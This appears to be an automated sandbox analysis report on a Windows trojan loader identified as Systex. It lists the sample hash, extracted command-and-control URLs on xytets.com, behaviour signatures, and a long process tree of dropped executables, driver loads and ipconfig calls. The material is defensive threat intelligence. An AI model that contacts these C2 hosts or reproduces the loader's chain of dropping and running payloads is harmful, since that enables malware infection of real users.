Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/05/2026, 16:51
General
- Target 2026-05-11_07b18fbd2a38b7587e1ce64346f73ee6_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260511-vcs6dse14w
- SHA256 b229d1bb541345d81b0fbbbff1a4c333ce03e4152b286bf8b4a0c079522557de
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 58 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_07b18fbd2a38b7587e1ce64346f73ee6_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_07b18fbd2a38b7587e1ce64346f73ee6_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4736 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4048 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wuomhezxrp.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\wuomhezxrp.exeC:\Temp\wuomhezxrp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wuomhezxrp.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wuomhezxrp.exeC:\Temp\i_wuomhezxrp.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jebwtomgey.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\jebwtomgey.exeC:\Temp\jebwtomgey.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jebwtomgey.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jebwtomgey.exeC:\Temp\i_jebwtomgey.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vqoigbytql.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\vqoigbytql.exeC:\Temp\vqoigbytql.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vqoigbytql.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_vqoigbytql.exeC:\Temp\i_vqoigbytql.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\oigaytnlgd.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\oigaytnlgd.exeC:\Temp\oigaytnlgd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_oigaytnlgd.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_oigaytnlgd.exeC:\Temp\i_oigaytnlgd.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\lidbvtnlfd.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\lidbvtnlfd.exeC:\Temp\lidbvtnlfd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_lidbvtnlfd.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_lidbvtnlfd.exeC:\Temp\i_lidbvtnlfd.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\avsnlfdxvp.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\avsnlfdxvp.exeC:\Temp\avsnlfdxvp.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_avsnlfdxvp.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_avsnlfdxvp.exeC:\Temp\i_avsnlfdxvp.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\spkhcausmk.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\spkhcausmk.exeC:\Temp\spkhcausmk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_spkhcausmk.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_spkhcausmk.exeC:\Temp\i_spkhcausmk.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jhczurmkec.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\jhczurmkec.exeC:\Temp\jhczurmkec.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jhczurmkec.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jhczurmkec.exeC:\Temp\i_jhczurmkec.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mkecwupmhe.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mkecwupmhe.exeC:\Temp\mkecwupmhe.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mkecwupmhe.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mkecwupmhe.exeC:\Temp\i_mkecwupmhe.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jecwuomgez.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\jecwuomgez.exeC:\Temp\jecwuomgez.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jecwuomgez.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jecwuomgez.exeC:\Temp\i_jecwuomgez.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bztrljebwt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bztrljebwt.exeC:\Temp\bztrljebwt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bztrljebwt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bztrljebwt.exeC:\Temp\i_bztrljebwt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tqlidbvtnl.exe ups_run2⤵
-
C:\Temp\tqlidbvtnl.exeC:\Temp\tqlidbvtnl.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tqlidbvtnl.exe ups_ins2⤵
-
C:\Temp\i_tqlidbvtnl.exeC:\Temp\i_tqlidbvtnl.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ysqlidbvtn.exe ups_run2⤵
-
C:\Temp\ysqlidbvtn.exeC:\Temp\ysqlidbvtn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ysqlidbvtn.exe ups_ins2⤵
-
C:\Temp\i_ysqlidbvtn.exeC:\Temp\i_ysqlidbvtn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\sqkidavtnl.exe ups_run2⤵
-
C:\Temp\sqkidavtnl.exeC:\Temp\sqkidavtnl.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_sqkidavtnl.exe ups_ins2⤵
-
C:\Temp\i_sqkidavtnl.exeC:\Temp\i_sqkidavtnl.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qkicavsnkf.exe ups_run2⤵
-
C:\Temp\qkicavsnkf.exeC:\Temp\qkicavsnkf.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qkicavsnkf.exe ups_ins2⤵
-
C:\Temp\i_qkicavsnkf.exeC:\Temp\i_qkicavsnkf.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\khczusmkec.exe ups_run2⤵
-
C:\Temp\khczusmkec.exeC:\Temp\khczusmkec.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_khczusmkec.exe ups_ins2⤵
-
C:\Temp\i_khczusmkec.exeC:\Temp\i_khczusmkec.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pjhczurmke.exe ups_run2⤵
-
C:\Temp\pjhczurmke.exeC:\Temp\pjhczurmke.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pjhczurmke.exe ups_ins2⤵
-
C:\Temp\i_pjhczurmke.exeC:\Temp\i_pjhczurmke.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jhbzuomhez.exe ups_run2⤵
-
C:\Temp\jhbzuomhez.exeC:\Temp\jhbzuomhez.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jhbzuomhez.exe ups_ins2⤵
-
C:\Temp\i_jhbzuomhez.exeC:\Temp\i_jhbzuomhez.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gbztrljdbw.exe ups_run2⤵
-
C:\Temp\gbztrljdbw.exeC:\Temp\gbztrljdbw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gbztrljdbw.exe ups_ins2⤵
-
C:\Temp\i_gbztrljdbw.exeC:\Temp\i_gbztrljdbw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jytrljdbwt.exe ups_run2⤵
-
C:\Temp\jytrljdbwt.exeC:\Temp\jytrljdbwt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jytrljdbwt.exe ups_ins2⤵
-
C:\Temp\i_jytrljdbwt.exeC:\Temp\i_jytrljdbwt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\uomgezwrpj.sysC:\Temp\uomgezwrpj.sys1⤵
- Executes dropped EXE
-
C:\Temp\gbytrljdbw.sysC:\Temp\gbytrljdbw.sys1⤵
- Executes dropped EXE
-
C:\Temp\dywqoigayt.sysC:\Temp\dywqoigayt.sys1⤵
- Executes dropped EXE
-
C:\Temp\vtnlfdyvqn.sysC:\Temp\vtnlfdyvqn.sys1⤵
- Executes dropped EXE
-
C:\Temp\ifaysqkida.sysC:\Temp\ifaysqkida.sys1⤵
- Executes dropped EXE
-
C:\Temp\cxvpnhfzxs.sysC:\Temp\cxvpnhfzxs.sys1⤵
- Executes dropped EXE
-
C:\Temp\xrpjhczusm.sysC:\Temp\xrpjhczusm.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpjhbzurmj.sysC:\Temp\rpjhbzurmj.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgbytrljdb.sysC:\Temp\jgbytrljdb.sys1⤵
- Executes dropped EXE
-
C:\Temp\lgeywqoigb.sysC:\Temp\lgeywqoigb.sys1⤵
-
C:\Temp\gdyvqoigay.sysC:\Temp\gdyvqoigay.sys1⤵
-
C:\Temp\aysqkicavs.sysC:\Temp\aysqkicavs.sys1⤵
-
C:\Temp\xspkicausn.sysC:\Temp\xspkicausn.sys1⤵
-
C:\Temp\wupmhfzxrp.sysC:\Temp\wupmhfzxrp.sys1⤵
-
C:\Temp\uomhezwrpj.sysC:\Temp\uomhezwrpj.sys1⤵
-
C:\Temp\wugeywrojh.sysC:\Temp\wugeywrojh.sys1⤵
-
C:\Temp\qojgbytrlj.sysC:\Temp\qojgbytrlj.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
avsnlfdxvp.exe
cxvpnhfzxs.sys
dywqoigayt.sys
gbytrljdbw.sys
i_avsnlfdxvp.exe
i_jebwtomgey.exe
i_lidbvtnlfd.exe
i_oigaytnlgd.exe
i_spkhcausmk.exe
i_vqoigbytql.exe
i_wuomhezxrp.exe
ifaysqkida.sys
jebwtomgey.exe
jhczurmkec.exe
lidbvtnlfd.exe
oigaytnlgd.exe
spkhcausmk.exe
uomgezwrpj.sys
vqoigbytql.exe
vtnlfdyvqn.sys
wuomhezxrp.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{993D1BEC-4D59-11F1-9F8B-4A5255D7F8CF}.dat
RecoveryStore.{993F7CEA-4D59-11F1-9F8B-4A5255D7F8CF}.dat
suggestions[1].en-US
memory/556-83-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1280-130-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1548-149-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1588-57-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2236-40-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3276-157-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3352-126-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3804-71-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4468-138-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4784-100-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5068-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5352-121-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5660-145-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5728-134-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5892-122-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5892-117-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5892-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/6080-153-0x0000000000010000-0x0000000000083000-memory.dmp